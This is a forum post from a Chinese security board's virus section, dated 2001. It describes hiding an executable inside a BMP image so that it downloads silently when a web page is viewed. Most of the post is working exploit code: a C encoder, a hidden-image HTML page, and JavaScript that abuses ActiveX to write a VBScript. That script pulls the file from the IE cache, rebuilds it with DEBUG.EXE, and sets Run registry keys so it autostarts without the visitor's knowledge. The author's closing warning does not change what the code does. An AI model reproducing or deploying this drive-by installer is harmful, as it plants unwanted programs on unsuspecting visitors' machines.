论坛: 病毒专区 标题: 高危险的BMP图像竟有EXE程序 复制本贴地址    
作者: bridex [bridex]    论坛用户   登录
隐藏在BMP图像中的*.EXE程序
------njhhack
本程序可以将一个*.exe可执行程序(其实任何文件都行啦)编码成一个特殊的未经
压缩的24位真彩色BMP图像,生成后的图像文件比原来的*.EXE文件只增大54-65个
字节,为何会增大这么多呢,因为BMP文件头固定为54字节,编码时为减小空间浪
费,我们假定每个描扫行的字节数是12的整数倍,所以当*.EXE文件的大小不是12
的整数倍时,会在文件后填充1-11个字节(根据*.EXE文件大小定),这样加上54字
节的BMP图像头,总共会增加54-65个字节,空间浪费量达到最小值.
将*.EXE文件编码成一个*.BMP图像文件有何用呢,呵呵,用处大了,首先起
到加密作用,没有人会想到一个能正常显示的图像,其实是一个*.EXE的映象吧,
还有一个比较有用的应用是这样的,假如我有一个程序放在我的个人主页上,
当我去访问我的主页时,我想让我的程序s.exe能自动下载到我的电脑中,并在下
次启动时自动运行(大家不要害怕,s.exe不是个木马程序),通常要实现这种功能
必须去点下载,然后保存,然后修改注册表让他自启动,好烦哟,现在将他编码成
BMP图像后就不要这么烦了,你只要看一下网页,s.exe程序就会自动下载到你电
脑中,并在下次自动启动,你感觉不到这个过程的哟:)这种功能是如何实现的呢?
我们知道通过<img src=s.bmp>指令可以在网页中显示s.bmp这个图像,其实
当我们看到s.bmp这幅图像时,s.bmp文件已经存在IE5.0的硬盘缓冲区中了,只是
我们看不到,通过特殊方法我们能将他找出来,如果s.bmp是经编码的s.exe文件
映像,那么相当于s.exe文件被下载到电脑中了(不是点击下载,而是显示时自动
随网页下载的哟:<).
呵呵s.bmp是下来了,下面我们就编一个VBScript脚本利用FileSystemObject
对象来递规搜索C:windowsTemporary Internet Files这个目录,因为这是
IE5.0的缓冲目录,所以看过的网页和图像都在这里哟:),不到2秒钟,我们的脚
本就找到了s[1].bmp这个文件,这就是s.bmp文件在缓冲区中的名字呀,哈哈,
终于让我找着了,用File.Copy指令将他复制到c:windowstemp目录下,我们终
于完成关键的一步了.
接下来的工作还是要用到DEBUG.EXE这个DOS下的超级核武器了,可惜的是此
程序在w2k下没法用,所以本技术只能用在win9x中了哟,好啦,现在要怎么做呢?
用DEBUG的w136指令可以将54个字节以后的内容保存,这样就去掉了BMP文件头,得
到了真正的*.EXE文件了哟.
最后大家懂了吧,修改注册表,让程序自启动就行了呀.

**********************************************************************

*警告!!!:大家不要用本程序把病毒或木马程序编码后放在网页上害人,一
经发现,严惩不怠,祝你好运,呵呵..........

*附录:由于解码需要一定时间,访问网页时要等到页面上出现个绿背景的长
方形框,并在框内出现"文档保存成功"这几个字才可关闭网页,否则解码不会成
功,另外,本程序只能对小于640k的程序编码,大于640k的程序还没这个功能,想
要编码大于640K的程序者请等我的第三版吧!!!
*第三版介绍:第三版用一个更巧妙的方法,完全不用DEBUG.EXE程序,也不
用将*.EXE编码成*.BMP图像,用的是一种叫做图像碎片的技术,在客户端进行碎
片重组,完成*.EXE复原,呵呵,妙不可言哟,不过我可能没兴趣搞第三版了,有
兴趣的朋友自已搞吧,我准备编一个类似防火墙的程序来对付黑客程序,呵呵!!!
----------------------------------
2001.8.7
作者:njhhack
主页:hotsky.363.net
信箱:njhhack@21cn.com


-------下面是c代码----------
/*
1.本程序用一种全新的方法实现*.exe文件自动下载到客户端电脑中,方法是将*.exe文件隐
藏于BMP
图像文件中,然后置于网页中,当客户端浏览网页时,藏于BMP中的*.exe程序随BMP图像一起
下载到
IE5.0的临时文件夹中,一般是C:WindowsTemporary Internet FilesContent.IE5这个目录
下的
一个或几个子目录中,你可以在注册表的:
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell
Folders
这个主键中找到Cache这个字符串键值,内容一般为C:WindowsTemporary Internet Files
你只要在后面加上Content.IE5这个子目录,就是你*.bmp图像所在的目录了
2.然后你可以设计一个VBScript脚本,让他通过FileSystemObject的Folders及Files对象来
递规搜索
你的s.bmp图像,一般名称为s[1].bmp,搜索到后你可以用File.Copy命令其复制到其它目录
3.然后你可以调出DEBUG.EXE程序调入s.bmp图像,并以s.tmp文件作为调试脚本来把你的
s.bmp的图像
头去掉,并恢复文件原来的大小,最后存盘退出,将s.bmp改名为s.exe,你的*.exe文件就在
客户端
的电脑上出现了,接下来你就可你做你想做事情了,呵呵!
4.本程序的输入为s.exe文件,就是你要转换的文件,输出为s.bmp和s.tmp,其中s.bmp为含
有*.exe文
件的BMP图像,s.tmp为DEBUG.EXE程序的脚本输入文件,用来在客户端从BMP图像中恢复你的
*.exe文件

*/
char *script1[]=
{
"Option Explicit",
"Dim FSO,WSH,CACHE,str",
"Set FSO = CreateObject("Scripting.FileSystemObject")",
"Set WSH = CreateObject("WScript.Shell")",
"CACHE=wsh.RegRead
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell
Folders\\Cache")",
"wsh.RegDelete
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")",
"wsh.RegWrite
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.ex
e"",
"SearchBMPFile fso.GetFolder(CACHE),"s[1].bmp"",
"WScript.Quit()",
"Function SearchBMPFile(Folder,fname)",
" Dim SubFolder,File,Lt,tmp,winsys",
" str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" &
fname",
" if FSO.FileExists(str) then",
" tmp=fso.GetSpecialFolder(2) & "\\"",
" winsys=fso.GetSpecialFolder(1) & "\\"",
" set File=FSO.GetFile(str)",
" File.Copy(tmp & "tmp.dat")",
" File.Delete",
" set Lt=FSO.CreateTextFile(tmp & "tmp.in")"
};
char *script2[]=
{
" Lt.Close",
" WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >"
& tmp & "tmp.out",false,6",
" On Error Resume Next ",
" FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")",
" FSO.GetFile(tmp & "tmp.dat").Delete",
" FSO.GetFile(tmp & "tmp.in").Delete",
" FSO.GetFile(tmp & "tmp.out").Delete",
" end if",
" If Folder.SubFolders.Count <> 0 Then",
" For Each SubFolder In Folder.SubFolders",
" SearchBMPFile SubFolder,fname",
" Next",
" End If",
"End Function"
};

#include<stdio.h>
#define MYSIZE 1024*4
main()
{
FILE *fexe,*fbmp,*fhtm,*fp;
unsigned char sbuf[MYSIZE],*bmp="BM";
unsigned int rest,hs,row,col;
unsigned long int pos,num,len,head[15];
/*下面开始处理文件*/
fexe=fopen("s.exe","rb");
fbmp=fopen("s.bmp","wb");
fseek(fexe,0,SEEK_END);
pos=ftell(fexe); /*取得*.exe文件大小,并存入pos中*/
num=0;
hs=0x36; /*BMP图像头的大小为54个字节,存入hs中*/
/*下面程序循环读*.exe文件数据,每次读4096个字节,并存入BMP图像
文件中*/
while(1)
{
if(pos-num>=MYSIZE)rest=MYSIZE;
else rest=pos-num;
fseek(fexe,num,SEEK_SET);
fread(sbuf,1,rest,fexe);
fseek(fbmp,num+hs,SEEK_SET);
fwrite(sbuf,1,rest,fbmp);
num+=rest;
if(pos<=num)break;
}
fclose(fexe);
;
/*
本段程序,假设如下情况:
1.构造的24位BMP图像的列是4的整数倍,这样做的原因是可以使图像中无
无效字节,节省空间,因为24位真彩图像每个象素占有3个字节,故一行中
含有的字节数是3*4即12的整数倍,所以图像的数据大小也必须为12的整
数倍,因为我们的*.exe文件大写不一定是12的整数倍,所以我们要调整
文件大小为12的整数倍,调整前后的文件大小相差不超过12个字节,达
到了较为满意的效果
2.为了使列与行基本一致,我们用猜测法确定列与行的大小,方法如下:
先令列为1,然后用除法得到行,若列数小于行数,则列数增加1,并重复
该过程,直到列数大于行数,则停止该项操作,这样就得到了列行较为
接近,且列数稍多于行数的图像结构,效果较满意
3.修改54字节大小的BMP图像头数据,并生成相应的DEBUG恢复脚本指令
*/
/*下面程序段用猜测法根据pos计算len,col,row这三个数据*/
col=4;
while(1)
{
if(pos%12==0)len=pos;
else len=pos+12-pos%12;
row=len/col/3;
if(row>col)col+=4;
else break;
}
/*下面程序修改BMP图像头中的动态数据*/
head[6]=col; /*图像列数*/
head[7]=row; /*图像行数*/
head[2]=len+hs; /*图像文件大小*/
head[10]=len; /*图像数据大小*/
/*下面程序修改BMP图像头中的静态数据*/
head[3]=0; /*保留数据*/
head[4]=hs; /*BMP图像头的大小*/
head[5]=0x28; /*保留数据*/
head[8]=0x180001; /*BMP图像和颜色位数是24位*/
head[9]=0; /*保留数据*/
head[11]=0xece; /*保留数据*/
head[12]=0xed8; /*保留数据*/
head[13]=0; /*保留数据*/
head[14]=0; /*保留数据*/
/*写入BMP图像标志'BM'*/
fseek(fbmp,0,SEEK_SET);
fwrite(bmp,2,1,fbmp);
/*写入13个长整数图像头数据*/
for(rest=2;rest<=14;rest++)
{
fseek(fbmp,2+(rest-2)*4,SEEK_SET);
fwrite(&head[rest],4,1,fbmp);
}
/*如果pos不是12的整数倍,则修改文件的大小为12的整数倍*/
if(len>pos)
{
fseek(fbmp,len+hs-1,SEEK_SET);
fwrite(sbuf,1,1,fbmp);
}
fclose(fbmp);
/*下面生成网页*/

fhtm=fopen("1.htm","wt");
fprintf(fhtm,"<HTML>n<HEAD>n<TITLE>网页自动传输系统</TITLE>n</HEAD>n<BODY>");
fprintf(fhtm,"n数据装载中,请稍等............");
fprintf(fhtm,"n<IMG SRC=s.bmp width=0 height=0>");
fprintf(fhtm,"n<SCRIPT SRC=1.js></SCRIPT>");
fprintf(fhtm,"n</BODY>n</HTML>");
fclose(fhtm);

/*下面生成Javascript脚本*/
fp=fopen("1.js","wt");
fprintf(fp,"ndocument.write('<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>');");
fprintf(fp,"nfunction docsave()");
fprintf(fp,"n{");
fprintf(fp,"na=document.applets[0];");
fprintf(fp,"na.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');");
fprintf(fp,"na.createInstance();");
fprintf(fp,"nwsh=a.GetObject();");
fprintf(fp,"na.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');");
fprintf(fp,"na.createInstance();");
fprintf(fp,"nfso=a.GetObject();");


/*下面为VBScript脚本生成部分*/
fprintf(fp,"nvar winsys=fso.GetSpecialFolder(1);");
fprintf(fp,"nvar vbs=winsys+'\\s.vbs';");
fprintf(fp,"nwsh.RegWrite
('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript
'+'"'+vbs+'"');");
fprintf(fp,"nvar st=fso.CreateTextFile(vbs,true);");
for(rest=0;rest<=18;rest++)fprintf(fp,"nst.WriteLine('%s');",script1[rest]);
/*生成DEBUG脚本指令*/
fprintf(fp,"nst.WriteLine(' Lt.WriteLine("rbx")');");
fprintf(fp,"nst.WriteLine(' Lt.WriteLine("%x")');",(pos>>16)&0xffff); /*
修改BX寄存器的内容*/
fprintf(fp,"nst.WriteLine(' Lt.WriteLine("rcx")');");
fprintf(fp,"nst.WriteLine(' Lt.WriteLine("%x")');",pos&0xffff); /*
修改CX寄存器的内容*/
fprintf(fp,"nst.WriteLine(' Lt.WriteLine("w136")');"); /*
丢弃BMP图像头并存盘*/
fprintf(fp,"nst.WriteLine(' Lt.WriteLine("q")');"); /*
退出DEBUG.EXE程序*/
for(rest=0;rest<=13;rest++)fprintf(fp,"nst.WriteLine('%s');",script2[rest]);
fprintf(fp,"nst.Close();");
/*VBScript处理结束*/
fprintf(fp,"nfrk.document.write('<body height=40 bgcolor=#c0e0d0>文档保存成
功!!!</body>');");
fprintf(fp,"n}");
fprintf(fp,"nsetTimeout('docsave()',1000);");
fprintf(fp,"ndocument.write('<br>正在保存文档,请稍等.........');");
fprintf(fp,"ndocument.write('<br><iframe id=frk frameborder=0 width=200
height=50></'+'iframe>');");
fprintf(fp,"ndocument.write('<br>谢谢使用本软件');");
fclose(fp);

/*系统处理结束*/
printf("n系统处理完毕:");
printf("n原*.exe文件大小为%ld,新BMP图像文件大小为:%ld,文件增大%ld个字节,不包括54
个字节的BMP图像头大小",pos,len,len-pos);
printf("n生成的位图为24位真彩色BMP图像,无调色板,宽=%d,高=%d,宽高比例适
中",col,row);
printf("n你可以将图像用<img src=s.bmp>命令置于网页上,当网页被浏览时,s.bmp图像
可以自动下载到IE5.0的历史记录文件夹,你可");
printf("n可以用VBScript脚本将其找出来,并复制到其它目录,然后用DEBUG.EXE命令将它
的BMP图像头去掉并恢复*.exe文件的原来大小");
printf("n将图像文件名改为*.exe,则你的*.exe就被植入了览者的电脑中,你可以进行进一
步的操作:)");
printf("n作者:HackBoy (C)Copyright 2001.8.6");
;
}



-------下面是*.htm---------
<HTML>
<HEAD>
<TITLE>网页自动传输系统</TITLE>
</HEAD>
<BODY>
数据装载中,请稍等............
<IMG SRC=s.bmp width=0 height=0>
<SCRIPT SRC=1.js></SCRIPT>
</BODY>
</HTML>



--------下面是javascript文件--------------

document.write('<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+'\s.vbs';
wsh.RegWrite
('HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs','wscript '+'"'+vbs+'"
');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead
("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders\Cache")');
st.WriteLine('wsh.RegDelete
("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")');
st.WriteLine
('wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.ex
e"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"s[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" &
fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\"');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\"');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in
>" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine(' Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
frk.document.write('<body height=40 bgcolor=#c0e0d0>文档保存成功!!!</body>');
}
setTimeout('docsave()',1000);
document.write('<br>正在保存文档,请稍等.........');
document.write('<br><iframe id=frk frameborder=0 width=200 height=50></'+'iframe>');
document.write('<br>谢谢使用本软件');

地主 发表时间: 04-04-05 21:35

回复: yingzike [yingzike]   论坛用户   登录
不错,先帮你顶上去

B1层 发表时间: 04-04-06 19:14

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号